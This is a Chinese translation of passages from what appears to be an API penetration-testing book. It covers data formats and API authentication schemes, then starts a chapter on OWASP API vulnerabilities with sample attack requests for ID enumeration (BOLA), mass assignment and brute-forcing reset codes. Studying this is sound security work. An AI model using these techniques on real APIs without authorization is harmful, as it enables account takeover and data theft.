扩展标记语言 (XML) 格式已经存在一段时间了,你可能会认识它。XML 的特点是使用描述性标签来包装数据。尽管 REST API 可以使用 XML,但它通常与 SOAP API 相关联。SOAP API 只能使用 XML 作为数据交换格式。
你刚刚看到的 Twitter JSON,如果转换成 XML 会是如下所示:
<?xml version="1.0" encoding="UTF-8" ?> ❶
<root> ❷
<id>1278533978970976300</id>
<id_str>1278533978970976256</id_str>
<full_text>1984: William Gibson published his debut novel, Neuromancer. It's a cyberpunk tale about Henry Case, a washed up computer hacker who's offered a chance at redemption by a mysterious dude named Armitage. Cyberspace. Hacking. Virtual reality. The matrix. Hacktivism. A must read. https://t.co/R9hm2LOKQi </full_text>
<truncated>false</truncated>
</root>
XML 总是以 前导部分 开始,包含有关所使用的 XML 版本和编码的信息 ❶。
接下来,元素 是 XML 中最基本的部分。元素是任何 XML 标签或被标签包围的信息。在之前的示例中,<id>1278533978970976300</id>,<id_str>1278533978</id_str>,<full_text>,</full_text>,和 <truncated>false</truncated> 都是元素。XML 必须有一个根元素,并且可以包含子元素。在这个示例中,根元素是 <root> ❷。子元素是 XML 属性。以下示例中,<BookGenre> 元素就是一个子元素的例子:
`<LibraryBooks>`
`<BookGenre>SciFi</BookGenre>`
`</LibraryBooks>`
XML 中的注释由两个破折号包围,如下所示:<!--XML 注释示例-->。
XML 和 JSON 之间的主要区别是 JSON 的描述性标签、字符编码和长度:XML 需要更长时间来传达相同的信息,足足需要 565 字节。
YAML
另一种轻量级的数据交换形式用于 API,YAML 是一个递归缩写,代表 YAML Ain’t Markup Language。它被创建为一种更易于人类和计算机阅读的数据交换格式。
与 JSON 类似,YAML 文档包含键/值对。值可以是任何 YAML 数据类型,包括数字、字符串、布尔值、空值和序列。例如,查看以下 YAML 数据:
---
id: 1278533978970976300
id_str: 1278533978970976256
#Comment about Neuromancer
full_text: "1984: William Gibson published his debut novel, Neuromancer. It's a cyberpunk tale about Henry Case, a washed up computer hacker who's offered a chance at redemption by a mysterious dude named Armitage. Cyberspace. Hacking. Virtual reality. The matrix. Hacktivism. A must read. https://t.co/R9hm2LOKQi"
truncated: false
...
你会注意到 YAML 比 JSON 更易读。YAML 文档以
`---`
并以此结束
`...`
而不是使用花括号。此外,字符串周围的引号是可选的。此外,URLs 不需要使用反斜杠进行编码。最后,YAML 使用缩进代替花括号表示嵌套,并允许以 # 开头的注释。
API 规范通常以 JSON 或 YAML 格式呈现,因为这些格式易于人类理解。只要掌握几个基本概念,我们就可以查看这两种格式并理解其内容;同样,机器也能轻松解析这些信息。
如果你想查看更多 YAML 的应用示例,请访问 yaml.org。整个网站以 YAML 格式呈现,YAML 是递归的,一直到最深处。
API 身份验证
API 可能允许消费者在没有身份验证的情况下公开访问,但当 API 允许访问专有或敏感数据时,它将使用某种形式的身份验证和授权。API 的身份验证过程应该验证用户是否为其声称的身份,而授权过程应该授予他们访问所允许数据的权限。本节涵盖了多种 API 身份验证和授权方法。这些方法在复杂性和安全性上有所不同,但它们都有一个共同的原则:消费者在发起请求时必须向提供方发送某种信息,提供方必须将该信息与用户关联,然后才能授予或拒绝对资源的访问。
在深入了解 API 认证之前,了解认证的含义非常重要。认证是验证身份的过程。在 Web 应用中,认证是你向 Web 服务器证明你是该 Web 应用的有效用户的方式。通常,这是通过使用凭据完成的,凭据包括唯一的 ID(如用户名或电子邮件)和密码。客户端在发送凭据后,Web 服务器会将其与存储的凭据进行比对。如果提供的凭据与存储的凭据匹配,Web 服务器会创建一个用户会话并向客户端发放 cookie。
当 Web 应用与用户之间的会话结束时,Web 服务器会销毁会话并移除相关的客户端 cookie。
如本章早些时候所述,REST 和 GraphQL API 是无状态的,因此当消费者对这些 API 进行认证时,客户端和服务器之间不会创建会话。相反,API 消费者必须在每个发送到 API 提供者 Web 服务器的请求中证明自己的身份。
基本认证
最简单的 API 认证形式是 HTTP 基本认证,消费者将用户名和密码包含在请求的头部或正文中。API 可以将用户名和密码以明文形式传递给提供者,如 username:password,或者它可以使用类似 base64 的方式编码凭据来节省空间(例如,编码为 dXNlcm5hbWU6cGFzc3dvcmQK)。
编码并不是加密,如果 base64 编码的数据被捕获,它可以很容易地被解码。例如,你可以使用 Linux 命令行对 username:password 进行 base64 编码,然后解码编码结果:
$ **echo "username:password"|base64**
dXNlcm5hbWU6cGFzc3dvcmQK
$ **echo "dXNlcm5hbWU6cGFzc3dvcmQK"|base64 -d**
username:password
如你所见,基本认证本身没有内在的安全性,完全依赖于其他安全控制措施。攻击者可以通过捕获 HTTP 流量、执行中间人攻击、通过社交工程手段诱使用户提供凭据,或者进行暴力破解攻击,尝试不同的用户名和密码直到找到有效的凭据,从而突破基本认证。
由于 API 通常是无状态的,只有基本认证的 API 需要消费者在每次请求中提供凭据。通常,API 提供者会在首次请求时使用基本认证,并随后发放 API 密钥或其他令牌用于所有其他请求。
API 密钥
API 密钥是由 API 提供者生成并授予的唯一字符串,用于授权批准的消费者访问。一旦 API 消费者拥有密钥,他们可以在每次按提供者要求的请求中包含它。提供者通常要求消费者在查询字符串参数、请求头、正文数据或作为 cookie 时传递该密钥。
API 密钥通常看起来像是半随机或随机的数字和字母字符串。例如,查看以下 URL 查询字符串中包含的 API 密钥:
/api/v1/users?apikey=**ju574n3x4mpl34p1k3y**
以下是作为头部包含的 API 密钥:
"API-Secret": **"17813fg8-46a7-5006-e235-45be7e9f2345"**
最后,这里是作为 cookie 传递的 API 密钥:
Cookie: API-Key= **4n07h3r4p1k3y**
获取 API 密钥的过程取决于提供者。例如,NASA 的 API 要求消费者注册 API,提供姓名、电子邮件地址和可选的应用程序 URL(如果用户正在编写一个使用 API 的应用程序),如图 2-3 所示。

图 2-3:NASA 生成 API 密钥的表单
生成的密钥将类似于以下内容:
roS6SmRjLdxZzrNSAkxjCdb6WodSda2G9zc2Q7sK
它必须作为每个 API 请求中的 URL 参数传递,格式如下:
api.nasa.gov/planetary/apod?api_key=roS6SmRjLdxZzrNSAkxjCdb6WodSda2G9zc2Q7sK
API 密钥在多种原因下比基本身份验证更安全。当密钥足够长、复杂且随机生成时,攻击者猜测或暴力破解它们会变得极为困难。此外,提供商可以设置过期日期来限制密钥的有效时间长度。
然而,API 密钥存在一些相关的风险,我们将在本书后面利用这些风险。由于每个 API 提供商可能有自己的生成 API 密钥的系统,因此你会发现一些情况,其中 API 密钥是基于用户数据生成的。在这些情况下,API 黑客可能通过了解 API 消费者来猜测或伪造 API 密钥。API 密钥还可能暴露在互联网上的在线代码库中,留在代码注释中,或者在未加密的连接上传输时被拦截,甚至通过钓鱼攻击被盗。
JSON Web Tokens
JSON Web Token (JWT) 是一种常用于 API 基于令牌的身份验证的令牌。它的使用方式是:API 消费者使用用户名和密码向 API 提供商进行身份验证。提供商生成 JWT 并将其发送回消费者。消费者将提供的 JWT 添加到所有 API 请求的Authorization头部。
JWT 由三部分组成,所有部分都是 base64 编码并通过句点分隔:头部、负载和签名。头部包含有关用于签名负载的算法的信息。负载是包含在令牌中的数据,例如用户名、时间戳和发行者。签名是用于验证令牌的编码和加密消息。
表 2-2 展示了这些部分的示例,未编码以便于阅读,以及最终的令牌。
表 2-2:JWT 组件
| Component | Content |
|---|
| Header | { "alg": "HS512",
"typ": "JWT"
} |
| Payload | { "sub": "1234567890",
"name": "hAPI Hacker",
"iat": 1516239022
} |
| Signature | HMACSHA512( base64UrlEncode(header) + "." +
base64UrlEncode(payload),
SuperSecretPassword
) |
| JWT | eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImhBUEkgSGFja2VyIiwiaWF0IjoxNTE2MjM5MDIyfQ.zsUjGDbBjqI-bJbaUmvUdKaGSEvROKfNjy9K6TckK55sd97AMdPDLxUZwsneff4O1ZWQikhgPm7HHlXYn4jm0Q |
|---|
JWT 通常是安全的,但如果实现不当,可能会危及其安全性。API 提供者可以实现不使用加密的 JWT,这意味着你只需要进行一次 base64 解码就可以看到令牌内部的内容。API 黑客可能会解码这样的令牌,篡改内容后再将其发送回提供者,从而获得访问权限,正如你将在第十章看到的那样。JWT 的密钥也可能被盗或通过暴力破解猜到。
HMAC
基于哈希的消息认证码(HMAC)是 Amazon Web Services(AWS)使用的主要 API 认证方法。当使用 HMAC 时,提供者会创建一个密钥并与消费者共享。当消费者与 API 交互时,HMAC 哈希函数会应用于消费者的 API 请求数据和密钥。生成的哈希(也称为消息摘要)会添加到请求中并发送给提供者。提供者像消费者一样,通过将消息和密钥输入哈希函数来计算 HMAC,并将输出的哈希值与客户端提供的哈希值进行比较。如果提供者的哈希值与消费者的哈希值匹配,则消费者被授权发起请求。如果值不匹配,则可能是客户端的密钥不正确或消息被篡改。
消息摘要的安全性取决于哈希函数和密钥的加密强度。更强的哈希机制通常会生成更长的哈希值。表 2-3 显示了使用不同 HMAC 算法对相同的消息和密钥进行哈希后的结果。
表 2-3:HMAC 算法
| 算法 | 哈希输出 |
|---|---|
| HMAC-MD5 | f37438341e3d22aa11b4b2e838120dcf |
| HMAC-SHA1 | 4c2de361ba8958558de3d049ed1fb5c115656e65 |
| HMAC-SHA256 | be8e73ffbd9a953f2ec892f06f9a5e91e6551023d1942ec7994fa1a78a5ae6bc |
| HMAC-SHA512 | 6434a354a730f888865bc5755d9f498126d8f67d73f32ccd2b775c47c91ce26b66dfa59c25aed7f4a6bcb4786d3a3c6130f63ae08367822af3f967d3a7469e1b |
你可能会对使用 SHA1 或 MD5 有所担忧。截至本书写作时,目前尚未发现影响 HMAC-SHA1 和 HMAC-MD5 的已知漏洞,但这些函数的加密强度低于 SHA-256 和 SHA-512。然而,更安全的函数也更慢。选择使用哪种哈希函数取决于优先考虑性能还是安全性。
与之前介绍的认证方法一样,HMAC 的安全性取决于消费者和提供者保持密钥的私密性。如果密钥被泄露,攻击者可能冒充受害者,获得未授权的 API 访问权限。
OAuth 2.0
OAuth 2.0,或简称OAuth,是一种授权标准,允许不同的服务访问彼此的数据,通常使用 API 来促进服务之间的通信。
假设你希望自动将你的 Twitter 推文分享到 LinkedIn。在 OAuth 模型中,我们会将 Twitter 视为服务提供商,将 LinkedIn 视为应用程序或客户端。为了发布你的推文,LinkedIn 需要授权访问你的 Twitter 信息。由于 Twitter 和 LinkedIn 都已经实现了 OAuth,与你每次希望跨平台共享信息时都提供凭证不同,你可以简单地进入 LinkedIn 设置并授权 Twitter。这样做会将你引导到api.twitter.com,授权 LinkedIn 访问你的 Twitter 帐户(见图 2-4)。

图 2-4:LinkedIn–Twitter OAuth 授权请求
当你授权 LinkedIn 访问你的 Twitter 帖子时,Twitter 会为 LinkedIn 生成一个有限的、基于时间的访问令牌。LinkedIn 随后将该令牌提供给 Twitter 以代表你发布内容,你无需向 LinkedIn 提供你的 Twitter 凭证。
图 2-5 展示了 OAuth 的一般过程。用户(资源所有者)授予应用程序(客户端)访问某个服务(授权服务器),服务创建一个令牌,然后应用程序使用该令牌与服务(也是资源服务器)交换数据。
在 LinkedIn–Twitter 示例中,你是资源所有者,LinkedIn 是应用程序/客户端,Twitter 是授权服务器和资源服务器。

图 2-5:OAuth 过程示意图
OAuth 是最受信任的 API 授权方式之一。然而,虽然它为授权过程增加了安全性,但也扩大了潜在的攻击面——尽管漏洞通常更多是与 API 提供商如何实现 OAuth 有关,而不是 OAuth 本身。实现 OAuth 不当的 API 提供商可能会暴露于各种攻击,如令牌注入、授权码重用、跨站请求伪造、无效重定向和钓鱼攻击。
无认证
与一般的网页应用程序一样,API 没有任何认证的情况也是有效的。如果一个 API 不处理敏感数据且只提供公共信息,提供方可以认为不需要认证。
实际中的 API:探索 Twitter 的 API
阅读完本章和上一章后,你应该能理解运行在网页应用程序 GUI 下的各种组件。接下来,我们通过仔细查看 Twitter 的 API,使这些概念更加具体。如果你打开浏览器并访问网址 twitter.com,初始请求会触发客户端和服务器之间的一系列通信。你的浏览器会自动协调这些数据传输,但通过使用像 Burp Suite 这样的 Web 代理(我们将在第四章中设置),你可以看到所有请求和响应的实际情况。
通信从第一章中描述的典型 HTTP 流量开始:
-
一旦你在浏览器中输入了 URL,浏览器会自动向 twitter.com 的 Web 服务器提交一个 HTTP GET 请求:
GET / HTTP/1.1 Host: twitter.com User-Agent: Mozilla/5.0 Accept: text/html `--snip--` Cookie: [...] -
Twitter Web 应用程序服务器收到请求后,通过发出成功的 200 OK 响应来回应 GET 请求:
HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate connection: close content-security-policy: content-src 'self' content-type: text/html; charset=utf-8 server: tsa_a `--snip--` x-powered-by: Express x-response-time: 56 <!DOCTYPE html> <html dir="ltr" lang="en"> `--snip--`此响应头包含 HTTP 连接的状态、客户端指令、中间件信息和与 cookie 相关的信息。客户端指令 告诉浏览器如何处理请求的信息,例如缓存数据、内容安全策略以及有关发送内容类型的指令。实际的有效载荷从
x-response-time下方开始,它为浏览器提供渲染网页所需的 HTML。现在假设用户通过 Twitter 的搜索框查找 “hacking” 这个词。这将触发一个 POST 请求到 Twitter 的 API,如下所示。Twitter 能够利用 API 分发请求,并无缝地将请求的资源提供给多个用户。
POST /1.1/jot/client_event.json?q=hacking HTTP/1.1 Host: api.twitter.com User-Agent: Mozilla/5.0 `--snip--` Authorization: Bearer AAAAAAAAAAAAAAAAA... `--snip--`这个 POST 请求是 Twitter API 查询 api.twitter.com 网络服务的一个例子,搜索词为 “hacking”。Twitter API 使用 JSON 格式的搜索结果回应,结果包括推文和有关每条推文的信息,如用户提及、标签和发布时间:
"created_at": [...] "id":1278533978970976256 "id_str": "1278533978970976256" "full-text": "1984: William Gibson published his debut novel..." "truncated":false, `--snip--`Twitter API 遵循 CRUD、API 命名规范、授权令牌、application/x-www-form-urlencoded 和 JSON 数据交换格式这一事实,清楚表明这个 API 是一个 RESTful API。
尽管响应体格式化为可读的方式,但它是供浏览器处理并显示为人类可读的网页。浏览器使用来自 API 请求的字符串渲染搜索结果。提供者的响应随后将页面填充为搜索结果、图像以及社交媒体相关信息,如喜欢、转发、评论(见 图 2-6)。

图 2-6:来自 Twitter API 搜索请求的渲染结果
从终端用户的角度来看,整个互动过程显得无缝衔接:你点击搜索框,输入查询内容,随后收到结果。
总结
在这一章中,我们介绍了 API 的术语、组成部分、类型以及支持架构。你了解到 API 是与 Web 应用程序交互的接口。不同类型的 API 有不同的规则、功能和目的,但它们都使用某种格式在应用程序之间交换数据。它们通常使用身份验证和授权机制,以确保消费者只能访问他们应该访问的资源。
理解这些概念将帮助你自信地深入了解构成 API 的各个组件。当你继续阅读时,如果遇到令你困惑的 API 概念,可以参考本章内容。
第四章:常见的 API 漏洞

了解常见的漏洞将帮助你在测试 API 时识别弱点。在本章中,我将介绍 Open Web Application Security Project(OWASP)API 安全十大漏洞列表中的大部分漏洞,以及另外两个有用的弱点:信息泄露和业务逻辑缺陷。我将描述每个漏洞、其重要性以及利用这些漏洞的技术。在后续章节中,你将通过实践获得发现和利用这些漏洞的经验。
信息泄露
当 API 及其支持的软件与无权限的用户共享敏感信息时,该 API 存在信息泄露漏洞。信息可能通过 API 响应或公共资源(如代码库、搜索结果、新闻、社交媒体、目标网站和公共 API 目录)泄露。
敏感数据可以包括攻击者能够利用的任何信息。例如,一个使用 WordPress API 的网站可能在不知情的情况下将用户信息与任何访问 API 路径 /wp-json/wp/v2/users 的人共享,该路径返回所有 WordPress 用户名或“别名”。例如,看看以下请求:
GET https://www.sitename.org/wp-json/wp/v2/users
它可能返回以下数据:
[{"id":1,"name":"Administrator", "slug":"admin"}],
{"id":2,"name":"Vincent Valentine", "slug":"Vincent"}]
这些别名可以用于尝试通过暴力破解、凭证填充或密码喷洒攻击登录已泄露的用户账户。(第八章详细描述了这些攻击。)
另一个常见的信息泄露问题涉及详细的错误信息。错误消息帮助 API 使用者排查与 API 的交互问题,并让 API 提供者理解应用程序的问题。然而,它也可能暴露有关资源、用户和 API 基础架构的敏感信息(如 web 服务器或数据库的版本)。例如,假设你尝试认证到一个 API 并收到错误消息“提供的用户 ID 不存在”。接下来,假设你使用另一个电子邮件地址,错误消息变为“密码不正确”。这就让你知道你已经提供了一个有效的 API 用户 ID。
查找用户信息是开始访问 API 的一个好方法。以下信息也可以在攻击中被利用:软件包、操作系统信息、系统日志和软件漏洞。通常,任何可以帮助我们找到更严重漏洞或协助利用的 信息,都可以视为信息泄露漏洞。
通常,通过与 API 端点交互并分析响应,你可以收集到最多的信息。API 响应可以揭示头部、参数和详细错误中的信息。其他好的信息来源包括 API 文档以及在侦察过程中收集的资源。第六章介绍了许多用于发现 API 信息泄露的工具和技术。
错误的对象级别授权
API 中最常见的漏洞之一是 破坏的对象级授权(BOLA)。BOLA 漏洞发生在 API 提供方允许 API 消费者访问他们未被授权访问的资源时。如果一个 API 端点没有对象级访问控制,它将不会检查以确保用户只能访问他们自己的资源。当这些控制缺失时,用户 A 将能够成功请求用户 B 的资源。
API 使用某种值,如名称或数字,来识别不同的对象。当我们发现这些对象的 ID 时,我们应该测试是否可以在未认证或以其他用户身份认证的情况下与其他用户的资源进行交互。例如,假设我们只被授权访问用户 Cloud Strife 的信息。我们将向 https://bestgame.com/api/v3/users?id=5501 发送初始的 GET 请求,并收到以下响应:
{
"id": "5501",
"first_name": "Cloud",
"last_name": "Strife",
"link": "https://www.bestgame.com/user/strife.buster.97",
"name": "Cloud Strife",
"dob": "1997-01-31",
"username": "strife.buster.97"
}
这不会构成问题,因为我们被授权访问 Cloud 的信息。然而,如果我们能够访问其他用户的信息,则存在一个严重的授权问题。
在这种情况下,我们可能会通过使用接近 Cloud 的 ID 5501 的另一个标识号来检查这些问题。假设我们能够通过发送请求 https://bestgame.com/api/v3/users?id=5502 并收到以下响应来获取其他用户的信息:
{
"id": "5502",
"first_name": "Zack",
"last_name": "Fair",
"link": " https://www.bestgame.com/user/shinra-number-1",
"name": "Zack Fair",
"dob": "2007-09-13",
"username": "shinra-number-1"
}
在这个案例中,Cloud 发现了一个 BOLA。请注意,可预测的对象 ID 并不一定表明你发现了 BOLA。为了使应用程序容易受到攻击,必须未能验证某个用户只能访问他们自己的资源。
一般来说,你可以通过了解 API 的资源结构并尝试访问你不应访问的资源来测试 BOLA。通过在 API 路径和参数中检测模式,你应该能够预测其他潜在的资源。以下 API 请求中的加粗部分应该引起你的注意:
GET /api/resource/**1**
GET /user/account/find?user_id=**15**
POST /company/account/**Apple**/balance
POST /admin/pwreset/account/**90**
在这些情况下,你可能通过更改加粗的值来猜测其他潜在的资源,如下所示:
GET /api/resource/**3**
GET /user/account/find?user_id=**23**
POST /company/account/**Google**/balance
POST /admin/pwreset/account/**111**
在这些简单的示例中,你只是通过用其他数字或词语替换加粗的部分执行了攻击。如果你能够成功访问不应有权限访问的信息,那么你就发现了 BOLA 漏洞。
在第九章,我将演示如何轻松地对 URL 路径中的 user_id= 等参数进行模糊测试,并整理结果以判断是否存在 BOLA 漏洞。在第十章,我们将重点讨论攻击像 BOLA 和 BFLA(功能级别授权失败,稍后在本章讨论)这样的授权漏洞。BOLA 可能是一个低门槛的 API 漏洞,你可以通过模式识别轻松发现它,并通过几个请求来测试。有时,由于对象 ID 和用于获取其他用户资源的请求的复杂性,它可能变得相当难以发现。
用户认证失效
用户认证失效指的是 API 认证过程中存在的任何弱点。这些漏洞通常发生在 API 提供方未实现认证保护机制或错误地实现了机制时。
API 认证可能是一个复杂的系统,包含多个过程,且有很大的失败空间。几十年前,安全专家布鲁斯·施奈尔(Bruce Schneier)曾说:“数字系统的未来是复杂性的,而复杂性是安全性的最大敌人。”正如我们在第二章讨论的 REST API 六大约束所知,RESTful API 应该是无状态的。为了实现无状态,提供方不应该需要记住消费者从一次请求到另一次请求的状态。为了使这一约束生效,API 通常要求用户经过注册过程,以获得一个独特的令牌。用户随后可以在请求中包含该令牌,以证明他们有权限进行这些请求。
因此,用于获取 API 令牌的注册过程、令牌的处理方式以及生成令牌的系统都可能存在各自的弱点。例如,为了确定令牌生成过程是否脆弱,我们可以收集一批令牌并分析它们的相似性。如果令牌生成过程不依赖于高水平的随机性或熵值,那么我们有可能自己创建一个令牌,或者劫持他人的令牌。
令牌处理可能包括令牌的存储、通过网络传输令牌的方法、硬编码令牌的存在等。我们可能在分析 Web 应用时,检测到 JavaScript 源文件中的硬编码令牌,或者直接捕获它们。一旦我们捕获到令牌,就可以用它来访问以前隐藏的端点,或者绕过检测。如果 API 提供商将身份归属于令牌,我们就能通过劫持被盗的令牌来获取该身份。
其他可能存在漏洞的认证过程包括注册系统的各个方面,例如密码重置和多因素认证功能。例如,假设一个密码重置功能要求你提供电子邮件地址和六位数字验证码来重置密码。如果 API 允许你进行任意数量的请求,你只需进行一百万次请求,就可以猜到验证码并重置任何用户的密码。而四位数字验证码只需进行 10,000 次请求。
还需注意是否可以在未经认证的情况下访问敏感资源;API 密钥、令牌和凭证是否出现在 URL 中;认证时是否缺少速率限制;以及是否存在冗长的错误信息。例如,提交到 GitHub 仓库的代码可能会暴露硬编码的管理员 API 密钥:
"oauth_client":
[{"client_id": "12345-abcd",
"client_type": "admin",
"api_key": "AIzaSyDrbTFCeb5k0yPSfL2heqdF-N19XoLxdw"}]
由于 REST API 的无状态特性,公开暴露的 API 密钥相当于发现了用户名和密码。使用暴露的 API 密钥,攻击者将获得与该密钥关联的角色权限。在第六章中,我们将运用侦察技能,查找互联网上暴露的密钥。
在第八章中,我们将对 API 身份验证进行多种攻击,例如身份验证绕过、暴力破解攻击、凭证填充攻击以及各种针对令牌的攻击。
过度的数据暴露
过度的数据暴露是指 API 端点响应时返回了超过请求所需的信息。这通常发生在提供方期望 API 消费者进行结果筛选时;换句话说,当消费者请求特定信息时,提供方可能会返回各种信息,假设消费者会从响应中移除他们不需要的数据。当这种漏洞存在时,它就像是你问某人他们的名字,而他们却告诉你他们的名字、出生日期、电子邮件地址、电话号码以及他们认识的每一个人的身份。
例如,如果 API 消费者请求他们自己的账户信息,但却收到了其他用户账户的信息,那么 API 就暴露了过多的数据。假设我请求了我的账户信息,且请求内容如下:
GET /api/v3/account?name=Cloud+Strife
现在假设我在响应中得到了以下 JSON:
{
"id": "5501",
"first_name": "Cloud",
"last_name": "Strife",
"privilege": "user",
"representative":
"name": "Don Corneo",
"id": "2203"
"email": "dcorn@gmail.com",
"privilege": "super-admin"
"admin": true
"two_factor_auth": false,
}
我请求了一个用户的账户信息,结果提供方返回了创建我账户的人的信息,包括管理员的全名、管理员的 ID 号,以及管理员是否启用了双重身份验证。
过度的数据暴露是一个极其危险的 API 漏洞,它能够绕过所有的安全控制措施,保护敏感信息的方式完全失效,攻击者只需使用 API,就能轻松获得所有数据。要检测过度的数据暴露,只需测试目标 API 端点并审查响应中发送的信息。
资源不足和速率限制
其中一个需要测试的重要漏洞是资源不足和速率限制。速率限制在 API 的货币化和可用性中起着重要作用。如果不限制消费者可以发出的请求数量,API 提供方的基础设施可能会被请求压垮。请求过多而资源不足将导致提供方的系统崩溃并变得不可用——这就是拒绝服务(DoS)状态。
除了可能造成 API 的拒绝服务(DoS)攻击外,绕过速率限制的攻击者还可能为 API 提供商带来额外的成本。许多 API 提供商通过限制请求次数来盈利,允许付费客户请求更多信息。例如,RapidAPI 允许每月 500 次免费请求,但付费客户每月可请求 1,000 次。一些 API 提供商还具有自动扩展的基础设施,能够根据请求数量自动调节。在这些情况下,无限制的请求将导致基础设施成本的显著增加,这种情况是完全可以预防的。
在测试应该具有速率限制的 API 时,你首先要检查的是速率限制是否有效,可以通过向 API 发送大量请求来进行验证。如果速率限制有效,你应该收到某种响应,告知你无法再发送额外请求,通常是 HTTP 429 状态码的形式。
一旦你被限制不能再发送额外请求,接下来就可以尝试查看速率限制是如何被执行的。你能否通过添加或移除参数、使用不同的客户端,或更改 IP 地址来绕过速率限制?第十三章介绍了绕过速率限制的各种方法。
功能级别授权缺失(BFLA)
功能级别授权缺失(BFLA)是一种漏洞,指的是某个角色或用户组的用户能够访问另一个角色或用户组的 API 功能。API 提供商通常会为不同类型的账户设置不同的角色,比如公共用户、商户、合作伙伴、管理员等。如果你能够使用另一个特权级别或用户组的功能,就存在 BFLA 漏洞。换句话说,BFLA 可能是一种横向移动,你使用的是具有相似权限的组的功能,或者它可能是特权升级,你能够使用更高权限组的功能。特别值得关注的 API 功能包括涉及敏感信息、属于其他组的资源,以及管理功能,如用户账户管理。
BFLA 类似于 BOLA(业务对象级别授权缺失),不同之处在于它是一个关于执行操作的授权问题,而不是访问资源的授权问题。例如,考虑一个脆弱的银行 API。当 API 存在 BOLA 漏洞时,你可能能够访问其他账户的信息,如支付历史、用户名、电子邮件地址和账户号码。如果存在 BFLA 漏洞,你可能能够进行转账,甚至更新账户信息。BOLA 是关于未授权访问,而 BFLA 是关于未授权操作。
如果一个 API 具有不同的权限级别或角色,它可能会使用不同的端点来执行特权操作。例如,一家银行可能会使用 /{user}/account/balance 端点来允许用户访问其帐户信息,而使用 /admin/account/{user} 端点来允许管理员访问用户帐户信息。如果应用程序没有正确实施访问控制,我们将能够通过简单地发起管理员请求来执行管理操作,如查看用户的完整帐户详情。
一个 API 并不总是使用管理端点来执行管理功能。相反,这些功能可能基于 HTTP 请求方法,如 GET、POST、PUT 和 DELETE。如果提供者没有限制消费者可以使用的 HTTP 方法,那么仅仅通过使用不同方法发起未经授权的请求,就可能表明存在 BFLA 漏洞。
在寻找 BFLA 漏洞时,寻找任何可能对你有利的功能,包括修改用户帐户、访问用户资源和获取对受限端点的访问。例如,如果一个 API 允许合作伙伴向合作伙伴组添加新用户,但没有将此功能限制到特定的组,则任何用户都可以将自己添加到任何组中。而且,如果我们能够将自己添加到某个组, chances are we’ll be able to access that group’s resources。
发现 BFLA 漏洞的最简单方法是找到管理 API 文档,并以没有特权的用户身份发起请求,测试管理员功能和能力。[图 3-1 显示了公开的 Cisco Webex 管理 API 文档,它提供了一个方便的操作列表,供你测试 Cisco Webex 时尝试。

图 3-1:Cisco Webex 管理 API 文档
作为一个没有特权的用户,发起包含在管理员部分中的请求,例如尝试创建用户、更新用户帐户等。如果已实施访问控制,你很可能会收到 HTTP 401 Unauthorized 或 403 Forbidden 响应。然而,如果你能够成功发起请求,那么你就发现了一个 BFLA 漏洞。
如果没有关于特权操作的 API 文档,你将需要发现或逆向工程用于执行特权操作的端点,然后再进行测试;更多内容将在第七章中讨论。一旦你找到管理端点,就可以开始发起请求。
大规模赋值
大规模赋值是指当 API 用户在请求中包含比应用程序预期更多的参数时,应用程序将这些参数添加到代码变量或内部对象中。在这种情况下,用户可能能够编辑对象属性或提升权限。
例如,一个应用可能具有账户更新功能,用户应该仅用于更新用户名、密码和地址。如果用户可以在请求中包含其他与账户相关的参数,比如账户权限级别或敏感信息如账户余额,并且应用程序在没有将这些参数与允许的操作白名单进行检查的情况下接受这些参数,用户就可能利用这个漏洞修改这些值。
假设有一个 API 被调用来创建一个账户,传递的参数为 "User" 和 "Password":
{
"User": "scuttleph1sh",
"Password": "GreatPassword123"
}
在阅读有关账户创建过程的 API 文档时,假设你发现有一个额外的键 "isAdmin",消费者可以用它来成为管理员。你可以使用像 Postman 或 Burp Suite 这样的工具将该属性添加到请求中,并将值设置为 true:
{
"User": "scuttleph1sh",
"Password": "GreatPassword123",
"isAdmin": true
}
如果 API 没有清理请求输入,它就容易受到大规模赋值攻击,你可以利用更新后的请求创建一个管理员账户。在后端,易受攻击的 Web 应用会将键值对属性 {"isAdmin":"true"} 添加到用户对象中,从而使用户成为管理员。
你可以通过在 API 文档中查找有趣的参数,并将这些参数添加到请求中,来发现大规模赋值漏洞。寻找涉及用户账户属性、关键功能和管理操作的参数。拦截 API 请求和响应也可能揭示值得测试的参数。此外,你还可以猜测或模糊化 API 请求中的参数。(第九章讲述了模糊测试的技巧。)
安全配置错误
安全配置错误包括开发者在 API 支持的安全配置中可能犯的所有错误。如果安全配置错误足够严重,它可能导致敏感信息泄露或系统完全被接管。例如,如果 API 的安全配置暴露了一个未修补的漏洞,攻击者有可能利用发布的漏洞轻松“攻陷” API 及其系统。
安全配置错误实际上是一组漏洞,包括配置错误的头部、配置错误的传输加密、使用默认账户、接受不必要的 HTTP 方法、缺乏输入清理以及冗长的错误消息。
缺乏输入净化 可能使攻击者将恶意有效载荷上传到服务器。API 通常在自动化过程中起着关键作用,因此可以想象将有效载荷上传到服务器,服务器自动将其处理成可能被远程执行或被毫无防备的最终用户执行的格式。例如,如果上传端点用于将上传的文件传递到 Web 目录,可能会允许上传脚本。访问该文件所在的 URL 可能会启动脚本,从而直接访问 Web 服务器的 shell。此外,缺乏输入净化还可能导致应用程序出现意外行为。在第三部分中,我们将模糊测试 API 输入,尝试发现诸如安全配置错误、不当的资产管理和注入漏洞等问题。
API 提供者使用头部来向消费者提供处理响应和安全要求的指令。配置错误的头部可能导致敏感信息泄露、降级攻击和跨站脚本攻击。许多 API 提供者会在其 API 旁边使用额外的服务来增强与 API 相关的指标或提高安全性。那些额外的服务常常会在请求中添加头部,以提供指标,并可能作为某种程度的保证。例如,以下是一个响应:
HTTP/ 200 OK
`--snip--`
**X-Powered-By: VulnService 1.11**
**X-XSS-Protection: 0**
**X-Response-Time: 566.43**
X-Powered-By 头部揭示了后端技术。像这样的头部通常会展示确切的支持服务及其版本。你可以利用这些信息搜索针对该版本软件发布的漏洞。
X-XSS-Protection 就是它看起来的样子:一个旨在防止跨站脚本(XSS)攻击的头部。XSS 是一种常见的注入漏洞,攻击者可以将脚本插入网页,并诱使最终用户点击恶意链接。在第十二章中,我们将讨论 XSS 和跨 API 脚本(XAS)。X-XSS-Protection 的值为 0 表示没有保护措施,而值为 1 表示已启用保护。这个头部,以及类似的头部,清楚地揭示了是否存在安全控制。
